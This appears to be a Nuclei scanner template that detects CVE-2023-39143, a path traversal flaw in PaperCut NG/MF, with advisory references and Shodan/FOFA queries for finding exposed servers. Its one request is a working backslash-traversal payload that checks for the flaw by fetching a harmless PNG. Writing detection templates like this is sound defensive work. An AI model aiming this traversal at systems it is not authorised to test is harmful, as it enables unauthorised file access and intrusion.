PaperCut < 22.1.3 - Path Traversal

id: CVE-2023-39143

info:
  name: PaperCut < 22.1.3 - Path Traversal
  author: pdteam
  severity: critical
  description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.
  remediation: |
    Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39143
    - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
    - https://www.papercut.com/kb/Main/securitybulletinjuly2023/
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39143
    cwe-id: CWE-22
    epss-score: 0.78696
    epss-percentile: 0.9954
    cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_mf
    shodan-query:
      - html:"content=\"PaperCut\""
      - http.html:"papercut"
      - http.html:"content=\"papercut\""
      - cpe:"cpe:2.3:a:papercut:papercut_mf"
    fofa-query:
      - body="papercut"
      - body="content=\"papercut\""
  tags: cve2023,cve,lfi,papercut,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"

    matchers:
      - type: dsl
        dsl:
          - content_length == 1655
          - status_code == 200
          - contains(to_lower(content_type), "image/png")
          - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
        condition: and
# digest: 4a0a00473045022076ae1f104b04106ad65c182d763239c69f1fbe6e445ab8b8ef0f08f0288beaec022100dc4a03be33ba3c696489fc16684ce9b7617d7f36653e70a48e5d3b61df1d078e:922c64590222798bb761d5b6d8e72950